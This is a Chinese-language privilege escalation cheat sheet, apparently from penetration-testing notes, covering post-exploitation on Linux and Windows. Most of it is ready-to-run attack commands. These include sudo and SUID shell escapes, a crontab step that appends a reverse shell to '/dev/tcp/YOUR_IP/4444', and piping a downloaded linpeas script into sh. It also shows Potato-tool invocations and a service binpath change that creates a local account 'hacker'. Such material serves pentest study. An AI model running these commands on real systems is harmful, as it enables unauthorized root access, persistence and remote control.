提权¶
拿到低权限 Shell 之后,下一步就是提权。Linux 和 Windows 的提权思路差异很大,分开整理。
Linux 提权¶
信息收集(提权前必做)¶
# 当前用户和权限
whoami && id
sudo -l # 能 sudo 执行什么命令
# 系统信息
uname -a # 内核版本
cat /etc/os-release # 发行版
cat /etc/crontab # 定时任务
ps aux # 运行中的进程
# 查找 SUID 文件(重点)
find / -perm -4000 -type f 2>/dev/null
# 查找可写文件/目录
find / -writable -type d 2>/dev/null
# 查看环境变量
env
echo $PATH
常见提权路径¶
1. sudo 滥用¶
sudo -l 列出当前用户可以 sudo 执行的命令。很多命令都能用来提权,查 GTFOBins:
# 示例:sudo vim 提权
sudo vim -c '!sh'
# 示例:sudo find 提权
sudo find / -exec /bin/sh \;
# 示例:sudo python 提权
sudo python3 -c 'import os; os.system("/bin/bash")'
2. SUID 提权¶
SUID 文件以文件所有者(通常是 root)身份运行:
# 常见可利用的 SUID 程序
find / -perm -4000 -type f 2>/dev/null
# 示例:/usr/bin/find 有 SUID
find . -exec /bin/sh -p \;
# 示例:/usr/bin/python3 有 SUID
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
3. Crontab 提权¶
如果定时任务执行的脚本可写:
# 查看定时任务
cat /etc/crontab
ls -la /etc/cron.*
# 找到可写的脚本后,写入反弹 Shell
echo 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1' >> /path/to/script.sh
4. 内核漏洞提权¶
# 查内核版本
uname -r
# 常用提权漏洞
# DirtyPipe (CVE-2022-0847) — Linux 5.8+
# DirtyCow (CVE-2016-5195) — Linux 2.6.22 ~ 4.8.3
# PwnKit (CVE-2021-4034) — polkit pkexec
# 用 linpeas 自动化枚举
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
Windows 提权¶
信息收集¶
whoami /all :: 当前用户和权限
systeminfo :: 系统信息、补丁列表
net user :: 本地用户
net localgroup administrators :: 管理员组成员
tasklist /svc :: 运行中的服务
常见提权路径¶
1. 令牌权限提权¶
如果当前用户有以下权限(whoami /priv 查看),可以直接提权:
| 权限 | 提权方式 |
|---|---|
SeImpersonatePrivilege | Potato 系列(JuicyPotato、PrintSpoofer、GodPotato) |
SeAssignPrimaryTokenPrivilege | 同上 |
SeBackupPrivilege | 可以读任意文件(包括 SAM 和 SYSTEM) |
:: PrintSpoofer(Windows 10 / Server 2019)
PrintSpoofer.exe -i -c cmd
:: GodPotato(通杀)
GodPotato.exe -cmd "cmd /c whoami"
2. 服务权限提权¶
:: 找权限配置不当的服务
sc qc <服务名>
accesschk.exe -uwcv "Everyone" *
:: 如果能修改服务的二进制路径
sc config <服务名> binpath= "cmd.exe /c net user hacker P@ss123 /add"
sc stop <服务名>
sc start <服务名>
3. 未加引号的服务路径¶
4. 补丁缺失¶
自动化枚举工具¶
| 工具 | 平台 | 用途 |
|---|---|---|
| linpeas | Linux | 全面枚举提权向量 |
| winPEAS | Windows | 全面枚举提权向量 |
| GTFOBins | Linux | 查询 sudo/SUID 可利用的命令 |
| LOLBAS | Windows | 查询可利用的 Windows 二进制 |